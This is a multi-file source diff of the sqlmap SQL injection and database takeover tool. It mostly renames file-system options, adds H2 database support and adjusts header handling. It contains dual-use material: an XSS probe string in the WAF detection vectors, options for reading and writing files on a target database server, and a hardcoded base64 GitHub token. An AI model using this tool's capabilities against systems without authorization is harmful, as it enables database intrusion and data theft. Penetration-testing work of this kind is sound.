self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB):
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
else:
self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
@@ -532,6 +533,7 @@ class Dump(object):
elif conf.dumpFormat == DUMP_FORMAT.HTML:
dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n")
dataToDumpFile(dumpFP, "<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n" % UNICODE_ENCODING)
dataToDumpFile(dumpFP, "<meta name=\"generator\" content=\"%s\" />\n" % VERSION_STRING)
dataToDumpFile(dumpFP, "<title>%s</title>\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table)))
dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE)
dataToDumpFile(dumpFP, "\n</head>\n<body>\n<table>\n<thead>\n<tr>\n")
+8
View File
@@ -43,6 +43,7 @@ class DBMS:
SQLITE = "SQLite"
SYBASE = "Sybase"
HSQLDB = "HSQLDB"
H2 = "H2"
INFORMIX = "Informix"
class DBMS_DIRECTORY_NAME:
@@ -57,6 +58,7 @@ class DBMS_DIRECTORY_NAME:
SQLITE = "sqlite"
SYBASE = "sybase"
HSQLDB = "hsqldb"
H2 = "h2"
INFORMIX = "informix"
class CUSTOM_LOGGING:
@@ -256,6 +258,7 @@ class PAYLOAD:
3: "LIKE single quoted string",
4: "Double quoted string",
5: "LIKE double quoted string",
6: "Identifier (e.g. column name)",
}
RISK = {
@@ -275,6 +278,7 @@ class PAYLOAD:
6: "TOP",
7: "Table name",
8: "Column name",
9: "Pre-WHERE (non-query)",
}
class METHOD:
@@ -374,3 +378,7 @@ class TIMEOUT_STATE:
NORMAL = 0
EXCEPTION = 1
TIMEOUT = 2
class HINT:
PREPEND = 0
APPEND = 1
+38 -40
View File
@@ -45,7 +45,6 @@ from lib.core.common import ntToPosixSlashes
from lib.core.common import openFile
from lib.core.common import parseRequestFile
from lib.core.common import parseTargetDirect
from lib.core.common import parseTargetUrl
from lib.core.common import paths
from lib.core.common import randomStr
from lib.core.common import readCachedFileContent
@@ -83,6 +82,7 @@ from lib.core.enums import PROXY_TYPE
from lib.core.enums import REFLECTIVE_COUNTER
from lib.core.enums import WIZARD
from lib.core.exception import SqlmapConnectionException
from lib.core.exception import SqlmapDataException
from lib.core.exception import SqlmapFilePathException
from lib.core.exception import SqlmapGenericException
from lib.core.exception import SqlmapInstallationException
@@ -103,8 +103,8 @@ from lib.core.settings import DBMS_ALIASES
from lib.core.settings import DEFAULT_PAGE_ENCODING
from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS
from lib.core.settings import DEFAULT_USER_AGENT
from lib.core.settings import DUMMY_URL
from lib.core.settings import INJECT_HERE_REGEX
from lib.core.settings import IS_WIN
from lib.core.settings import KB_CHARS_BOUNDARY_CHAR
from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET
@@ -114,7 +114,6 @@ from lib.core.settings import MAX_NUMBER_OF_THREADS
from lib.core.settings import NULL
from lib.core.settings import PARAMETER_SPLITTING_REGEX
from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT
from lib.core.settings import SITE
from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE
from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
from lib.core.settings import SUPPORTED_DBMS
@@ -124,7 +123,6 @@ from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import UNION_CHAR_REGEX
from lib.core.settings import UNKNOWN_DBMS_VERSION
from lib.core.settings import URI_INJECTABLE_REGEX
from lib.core.settings import VERSION_STRING
from lib.core.threads import getCurrentThreadData
from lib.core.threads import setDaemon
from lib.core.update import update
@@ -608,22 +606,22 @@ def _setMetasploit():
raise SqlmapFilePathException(errMsg)
def _setWriteFile():
if not conf.wFile:
if not conf.fileWrite:
return
debugMsg = "setting the write file functionality"
logger.debug(debugMsg)
if not os.path.exists(conf.wFile):
errMsg = "the provided local file '%s' does not exist" % conf.wFile
if not os.path.exists(conf.fileWrite):
errMsg = "the provided local file '%s' does not exist" % conf.fileWrite
raise SqlmapFilePathException(errMsg)
if not conf.dFile:
if not conf.fileDest:
errMsg = "you did not provide the back-end DBMS absolute path "
errMsg += "where you want to write the local file '%s'" % conf.wFile
errMsg += "where you want to write the local file '%s'" % conf.fileWrite
raise SqlmapMissingMandatoryOptionException(errMsg)
conf.wFileType = getFileType(conf.wFile)
conf.fileWriteType = getFileType(conf.fileWrite)
def _setOS():
"""
@@ -824,7 +822,7 @@ def _setTamperingFunctions():
def _setWafFunctions():
"""
Loads WAF/IPS/IDS detecting functions from script(s)
Loads WAF/IPS detecting functions from script(s)
"""
if conf.identifyWaf:
@@ -1073,7 +1071,7 @@ def _setSafeVisit():
key, value = line.split(':', 1)
value = value.strip()
kb.safeReq.headers[key] = value
if key == HTTP_HEADER.HOST:
if key.upper() == HTTP_HEADER.HOST.upper():
if not value.startswith("http"):
scheme = "http"
if value.endswith(":443"):
@@ -1258,14 +1256,6 @@ def _setHTTPExtraHeaders():
# Reference: http://stackoverflow.com/a/1383359
conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache"))
def _defaultHTTPUserAgent():
"""
@return: default sqlmap HTTP User-Agent header
@rtype: C{str}
"""
return "%s (%s)" % (VERSION_STRING, SITE)
def _setHTTPUserAgent():
"""
Set the HTTP User-Agent header.
@@ -1305,12 +1295,12 @@ def _setHTTPUserAgent():
_ = True
for header, _ in conf.httpHeaders:
if header == HTTP_HEADER.USER_AGENT:
if header.upper() == HTTP_HEADER.USER_AGENT.upper():
_ = False
break
if _:
conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _defaultHTTPUserAgent()))
conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, DEFAULT_USER_AGENT))
else:
if not kb.userAgents:
@@ -1325,10 +1315,10 @@ def _setHTTPUserAgent():
warnMsg += "file '%s'" % paths.USER_AGENTS
logger.warn(warnMsg)
conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _defaultHTTPUserAgent()))
conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, DEFAULT_USER_AGENT))
return
userAgent = random.sample(kb.userAgents or [_defaultHTTPUserAgent()], 1)[0]
userAgent = random.sample(kb.userAgents or [DEFAULT_USER_AGENT], 1)[0]
infoMsg = "fetched random HTTP User-Agent header value '%s' from " % userAgent
infoMsg += "file '%s'" % paths.USER_AGENTS
@@ -1369,6 +1359,19 @@ def _setHTTPCookies():
conf.httpHeaders.append((HTTP_HEADER.COOKIE, conf.cookie))
def _setHostname():
"""
Set value conf.hostname
"""
if conf.url:
try:
conf.hostname = urlparse.urlsplit(conf.url).netloc.split(':')[0]
except ValueError, ex:
errMsg = "problem occurred while "
errMsg += "parsing an URL '%s' ('%s')" % (conf.url, getSafeExString(ex))
raise SqlmapDataException(errMsg)
def _setHTTPTimeout():
"""
Set the HTTP timeout
@@ -1509,14 +1512,14 @@ def _cleanupOptions():
if conf.url:
conf.url = conf.url.strip()
if conf.rFile:
conf.rFile = ntToPosixSlashes(normalizePath(conf.rFile))
if conf.fileRead:
conf.fileRead = ntToPosixSlashes(normalizePath(conf.fileRead))
if conf.wFile:
conf.wFile = ntToPosixSlashes(normalizePath(conf.wFile))
if conf.fileWrite:
conf.fileWrite = ntToPosixSlashes(normalizePath(conf.fileWrite))
if conf.dFile:
conf.dFile = ntToPosixSlashes(normalizePath(conf.dFile))
if conf.fileDest:
conf.fileDest = ntToPosixSlashes(normalizePath(conf.fileDest))
if conf.sitemapUrl and not conf.sitemapUrl.lower().startswith("http"):
conf.sitemapUrl = "http%s://%s" % ('s' if conf.forceSSL else '', conf.sitemapUrl)
@@ -1533,14 +1536,6 @@ def _cleanupOptions():
if conf.optimize:
setOptimize()
match = re.search(INJECT_HERE_REGEX, conf.data or "")
if match:
kb.customInjectionMark = match.group(0)
match = re.search(INJECT_HERE_REGEX, conf.url or "")
if match:
kb.customInjectionMark = match.group(0)
if conf.os:
conf.os = conf.os.capitalize()
@@ -1699,7 +1694,7 @@ def _setConfAttributes():
conf.tests = []
conf.trafficFP = None
conf.HARCollectorFactory = None
conf.wFileType = None
conf.fileWriteType = None
def _setKnowledgeBaseAttributes(flushAll=True):
"""
@@ -1713,6 +1708,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.absFilePaths = set()
kb.adjustTimeDelay = None
kb.alerted = False
kb.aliasName = randomStr()
kb.alwaysRefresh = None
kb.arch = None
kb.authHeader = None
@@ -1796,6 +1792,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.injection = InjectionDict()
kb.injections = []
kb.laggingChecked = False
kb.lastInputMessage = None
kb.lastParserStatus = None
kb.locks = AttribDict()
@@ -1852,6 +1849,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.safeCharEncode = False
kb.safeReq = AttribDict()
kb.secondReq = None
kb.serverHeader = None
kb.singleLogFlags = set()
kb.skipSeqMatcher = False
kb.reduceTests = None
@@ -2484,10 +2482,10 @@ def init():
_resolveCrossReferences()
_checkWebSocket()
parseTargetUrl()
parseTargetDirect()
if any((conf.url, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.requestFile, conf.googleDork, conf.liveTest)):
_setHostname()
_setHTTPTimeout()
_setHTTPExtraHeaders()
_setHTTPCookies()
+3 -3
View File
@@ -165,9 +165,9 @@ optDict = {
},
"File system": {
"rFile": "string",
"wFile": "string",
"dFile": "string",
"fileRead": "string",
"fileWrite": "string",
"fileDest": "string",
},
"Takeover": {
+28 -14
View File
@@ -19,12 +19,13 @@ from lib.core.enums import DBMS_DIRECTORY_NAME
from lib.core.enums import OS
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.2.8.0"
VERSION = "1.2.12.0"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
DESCRIPTION = "automatic SQL injection and database takeover tool"
SITE = "http://sqlmap.org"
DEFAULT_USER_AGENT = "%s (%s)" % (VERSION_STRING, SITE)
DEV_EMAIL_ADDRESS = "[email protected]"
ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git"
@@ -45,10 +46,10 @@ BANNER = """\033[01;33m\
DIFF_TOLERANCE = 0.05
CONSTANT_RATIO = 0.9
# Ratio used in heuristic check for WAF/IPS/IDS protected targets
# Ratio used in heuristic check for WAF/IPS protected targets
IDS_WAF_CHECK_RATIO = 0.5
# Timeout used in heuristic check for WAF/IPS/IDS protected targets
# Timeout used in heuristic check for WAF/IPS protected targets
IDS_WAF_CHECK_TIMEOUT = 10
# Lower and upper values for match ratio in case of stable page
@@ -71,6 +72,7 @@ RANDOM_INTEGER_MARKER = "[RANDINT]"
RANDOM_STRING_MARKER = "[RANDSTR]"
SLEEP_TIME_MARKER = "[SLEEPTIME]"
INFERENCE_MARKER = "[INFERENCE]"
SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]"
PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
CHAR_INFERENCE_MARK = "%c"
@@ -97,6 +99,9 @@ MAX_CONSECUTIVE_CONNECTION_ERRORS = 15
# Timeout before the pre-connection candidate is being disposed (because of high probability that the web server will reset it)
PRECONNECT_CANDIDATE_TIMEOUT = 10
# Servers known to cause issue with pre-connection mechanism (because of lack of multi-threaded support)
PRECONNECT_INCOMPATIBLE_SERVERS = ("SimpleHTTP",)
# Maximum sleep time in "Murphy" (testing) mode
MAX_MURPHY_SLEEP_TIME = 3
@@ -170,6 +175,9 @@ PUSH_VALUE_EXCEPTION_RETRY_COUNT = 3
# Minimum time response set needed for time-comparison based on standard deviation
MIN_TIME_RESPONSES = 30
# Maximum time response set used during time-comparison based on standard deviation
MAX_TIME_RESPONSES = 200
# Minimum comparison ratio set needed for searching valid union column number based on standard deviation
MIN_UNION_RESPONSES = 5
@@ -233,6 +241,7 @@ MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA")
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
@@ -246,20 +255,21 @@ MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db")
SYBASE_ALIASES = ("sybase", "sybase sql server")
DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
H2_ALIASES = ("h2",)
INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + INFORMIX_ALIASES
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES
SUPPORTED_OS = ("linux", "windows")
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES))
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES))
USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
REFERER_ALIASES = ("ref", "referer", "referrer")
HOST_ALIASES = ("host",)
HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
# Names that can't be used to name files on Windows OS
WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")
@@ -321,6 +331,7 @@ FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"in (?P<result>
# Regular expressions used for parsing error messages (--parse-errors)
ERROR_PARSING_REGEXES = (
r"\[Microsoft\]\[ODBC SQL Server Driver\]\[SQL Server\](?P<result>[^<]+)",
r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>",
r"(?m)^\s*(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)",
@@ -367,7 +378,7 @@ URI_INJECTABLE_REGEX = r"//[^/]*/([^\.*?]+)\Z"
SENSITIVE_DATA_REGEX = r"(\s|=)(?P<result>[^\s=]*%s[^\s]*)\s"
# Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside)
SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile", "testParameter", "authCred")
SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "fileRead", "fileWrite", "fileDest", "testParameter", "authCred")
# Maximum number of threads (avoiding connection issues and/or DoS)
MAX_NUMBER_OF_THREADS = 10
@@ -406,7 +417,7 @@ REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__"
REFLECTED_BORDER_REGEX = r"[^A-Za-z]+"
# Regular expression used for replacing non-alphanum characters
REFLECTED_REPLACEMENT_REGEX = r".+"
REFLECTED_REPLACEMENT_REGEX = r"[^\n]{1,100}"
# Maximum time (in seconds) spent per reflective value(s) replacement
REFLECTED_REPLACEMENT_TIMEOUT = 3
@@ -426,6 +437,9 @@ DEFAULT_MSSQL_SCHEMA = "dbo"
# Display hash attack info every mod number of items
HASH_MOD_ITEM_DISPLAY = 11
# Display marker for (cracked) empty password
HASH_EMPTY_PASSWORD_MARKER = "<empty>"
# Maximum integer value
MAX_INT = sys.maxint
@@ -524,7 +538,7 @@ CHECK_INTERNET_ADDRESS = "https://ipinfo.io/"
# Value to look for in response to CHECK_INTERNET_ADDRESS
CHECK_INTERNET_VALUE = "IP Address Details"
# Vectors used for provoking specific WAF/IPS/IDS behavior(s)
# Vectors used for provoking specific WAF/IPS behavior(s)
WAF_ATTACK_VECTORS = (
"", # NIL
"search=<script>alert(1)</script>",
@@ -583,7 +597,7 @@ DEFAULT_COOKIE_DELIMITER = ';'
FORCE_COOKIE_EXPIRATION_TIME = "9999999999"
# Github OAuth token used for creating an automatic Issue for unhandled exceptions
GITHUB_REPORT_OAUTH_TOKEN = "NTMyNWNkMmZkMzRlMDZmY2JkMmY0MGI4NWI0MzVlM2Q5YmFjYWNhYQ=="
GITHUB_REPORT_OAUTH_TOKEN = "NTYzYjhmZWJjYzc0Njg2ODJhNzhmNDg1YzM0YzlkYjk3N2JiMzE3Nw=="
# Skip unforced HashDB flush requests below the threshold number of cached items
HASHDB_FLUSH_THRESHOLD = 32
@@ -673,7 +687,7 @@ MAX_HELP_OPTION_LENGTH = 18
MAX_CONNECT_RETRIES = 100
# Strings for detecting formatting errors
FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "DataTypeMismatchException", "CF_SQL_INTEGER", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")
FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")
# Regular expression used for extracting ASP.NET view state values
VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
@@ -748,7 +762,7 @@ EVALCODE_KEYWORD_SUFFIX = "_KEYWORD"
NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File."
# Infixes used for automatic recognition of parameters carrying anti-CSRF tokens
CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf")
CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token")
# Prefixes used in brute force search for web server document root
BRUTE_DOC_ROOT_PREFIXES = {
@@ -786,9 +800,9 @@ tr:nth-child(even) {
background-color: #D3DFEE
}
td{
font-size:10px;
font-size:12px;
}
th{
font-size:10px;
font-size:12px;
}
</style>"""
+24 -21
View File
@@ -53,30 +53,33 @@ def clearHistory():
readline.clear_history()
def saveHistory(completion=None):
if not readlineAvailable():
return
if completion == AUTOCOMPLETE_TYPE.SQL:
historyPath = paths.SQL_SHELL_HISTORY
elif completion == AUTOCOMPLETE_TYPE.OS:
historyPath = paths.OS_SHELL_HISTORY
elif completion == AUTOCOMPLETE_TYPE.API:
historyPath = paths.API_SHELL_HISTORY
else:
historyPath = paths.SQLMAP_SHELL_HISTORY
try:
with open(historyPath, "w+"):
if not readlineAvailable():
return
if completion == AUTOCOMPLETE_TYPE.SQL:
historyPath = paths.SQL_SHELL_HISTORY
elif completion == AUTOCOMPLETE_TYPE.OS:
historyPath = paths.OS_SHELL_HISTORY
elif completion == AUTOCOMPLETE_TYPE.API:
historyPath = paths.API_SHELL_HISTORY
else:
historyPath = paths.SQLMAP_SHELL_HISTORY
try:
with open(historyPath, "w+"):
pass
except:
pass
except:
pass
readline.set_history_length(MAX_HISTORY_LENGTH)
try:
readline.write_history_file(historyPath)
except IOError, msg:
warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, msg)
logger.warn(warnMsg)
readline.set_history_length(MAX_HISTORY_LENGTH)
try:
readline.write_history_file(historyPath)
except IOError, msg:
warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, msg)
logger.warn(warnMsg)
except KeyboardInterrupt:
pass
def loadHistory(completion=None):
if not readlineAvailable():
+26 -7
View File
@@ -5,7 +5,6 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import codecs
import functools
import os
import re
@@ -45,6 +44,7 @@ from lib.core.enums import POST_HINT
from lib.core.exception import SqlmapFilePathException
from lib.core.exception import SqlmapGenericException
from lib.core.exception import SqlmapMissingPrivileges
from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapUserQuitException
from lib.core.option import _setDBMS
@@ -52,9 +52,11 @@ from lib.core.option import _setKnowledgeBaseAttributes
from lib.core.option import _setAuthCred
from lib.core.settings import ASTERISK_MARKER
from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import HOST_ALIASES
from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX
from lib.core.settings import INJECT_HERE_REGEX
from lib.core.settings import JSON_RECOGNITION_REGEX
from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX
from lib.core.settings import MULTIPART_RECOGNITION_REGEX
@@ -344,7 +346,7 @@ def _setRequestParams():
# Url encoding of the header values should be avoided
# Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value
if httpHeader.title() == HTTP_HEADER.USER_AGENT:
if httpHeader.upper() == HTTP_HEADER.USER_AGENT.upper():
conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue)
condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES, True)))
@@ -353,7 +355,7 @@ def _setRequestParams():
conf.paramDict[PLACE.USER_AGENT] = {PLACE.USER_AGENT: headerValue}
testableParameters = True
elif httpHeader.title() == HTTP_HEADER.REFERER:
elif httpHeader.upper() == HTTP_HEADER.REFERER.upper():
conf.parameters[PLACE.REFERER] = urldecode(headerValue)
condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES, True)))
@@ -362,7 +364,7 @@ def _setRequestParams():
conf.paramDict[PLACE.REFERER] = {PLACE.REFERER: headerValue}
testableParameters = True
elif httpHeader.title() == HTTP_HEADER.HOST:
elif httpHeader.upper() == HTTP_HEADER.HOST.upper():
conf.parameters[PLACE.HOST] = urldecode(headerValue)
condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES, True)))
@@ -467,7 +469,13 @@ def _resumeDBMS():
value = hashDBRetrieve(HASHDB_KEYS.DBMS)
if not value:
return
if conf.offline:
errMsg = "unable to continue in offline mode "
errMsg += "because of lack of usable "
errMsg += "session data"
raise SqlmapNoneDataException(errMsg)
else:
return
dbms = value.lower()
dbmsVersion = [UNKNOWN_DBMS_VERSION]
@@ -571,7 +579,7 @@ def _createFilesDir():
Create the file directory.
"""
if not conf.rFile:
if not conf.fileRead:
return
conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname
@@ -674,7 +682,7 @@ def _createTargetDirs():
conf.outputPath = getUnicode(conf.outputPath)
try:
with codecs.open(os.path.join(conf.outputPath, "target.txt"), "w+", UNICODE_ENCODING) as f:
with openFile(os.path.join(conf.outputPath, "target.txt"), "w+") as f:
f.write(kb.originalUrls.get(conf.url) or conf.url or conf.hostname)
f.write(" (%s)" % (HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET))
f.write(" # %s" % getUnicode(subprocess.list2cmdline(sys.argv), encoding=sys.stdin.encoding))
@@ -693,6 +701,13 @@ def _createTargetDirs():
_createFilesDir()
_configureDumper()
def _setAuxOptions():
"""
Setup auxiliary (host-dependent) options
"""
kb.aliasName = randomStr(seed=hash(conf.hostname or ""))
def _restoreMergedOptions():
"""
Restore merged options (command line, configuration file and default values)
@@ -739,6 +754,9 @@ def initTargetEnv():
setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original)
kb.postSpaceToPlus = '+' in original
match = re.search(INJECT_HERE_REGEX, conf.data or "") or re.search(INJECT_HERE_REGEX, conf.url or "")
kb.customInjectionMark = match.group(0) if match else CUSTOM_INJECTION_MARK_CHAR
def setupTargetEnv():
_createTargetDirs()
_setRequestParams()
@@ -746,3 +764,4 @@ def setupTargetEnv():
_resumeHashDBValues()
_setResultsFile()
_setAuthCred()
_setAuxOptions()
+3 -3
View File
@@ -92,10 +92,10 @@ def exceptionHandledFunction(threadFunction, silent=False):
kb.threadException = True
raise
except Exception, ex:
if not silent:
if not silent and kb.get("threadContinue"):
logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))
if conf.verbose > 1:
if conf.get("verbose") > 1:
traceback.print_exc()
def setDaemon(thread):
@@ -189,7 +189,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
kb.threadException = True
logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))
if conf.verbose > 1:
if conf.get("verbose") > 1:
traceback.print_exc()
except:
+20 -13
View File
@@ -99,16 +99,16 @@ def cmdLineParser(argv=None):
help="Force usage of given HTTP method (e.g. PUT)")
request.add_option("--data", dest="data",
help="Data string to be sent through POST")
help="Data string to be sent through POST (e.g. \"id=1\")")
request.add_option("--param-del", dest="paramDel",
help="Character used for splitting parameter values")
help="Character used for splitting parameter values (e.g. &)")
request.add_option("--cookie", dest="cookie",
help="HTTP Cookie header value")
help="HTTP Cookie header value (e.g. \"PHPSESSID=a8d127e..\")")
request.add_option("--cookie-del", dest="cookieDel",
help="Character used for splitting cookie values")
help="Character used for splitting cookie values (e.g. ;)")
request.add_option("--load-cookies", dest="loadCookies",
help="File containing cookies in Netscape/wget format")
@@ -144,7 +144,7 @@ def cmdLineParser(argv=None):
help="HTTP authentication PEM cert/private key file")
request.add_option("--ignore-code", dest="ignoreCode", type="int",
help="Ignore HTTP error code (e.g. 401)")
help="Ignore (problematic) HTTP error code (e.g. 401)")
request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
help="Ignore system default proxy settings")
@@ -207,7 +207,7 @@ def cmdLineParser(argv=None):
help="Parameter used to hold anti-CSRF token")
request.add_option("--csrf-url", dest="csrfUrl",
help="URL address to visit to extract anti-CSRF token")
help="URL address to visit for extraction of anti-CSRF token")
request.add_option("--force-ssl", dest="forceSSL", action="store_true",
help="Force usage of SSL/HTTPS")
@@ -471,13 +471,13 @@ def cmdLineParser(argv=None):
# File system options
filesystem = OptionGroup(parser, "File system access", "These options can be used to access the back-end database management system underlying file system")
filesystem.add_option("--file-read", dest="rFile",
filesystem.add_option("--file-read", dest="fileRead",
help="Read a file from the back-end DBMS file system")
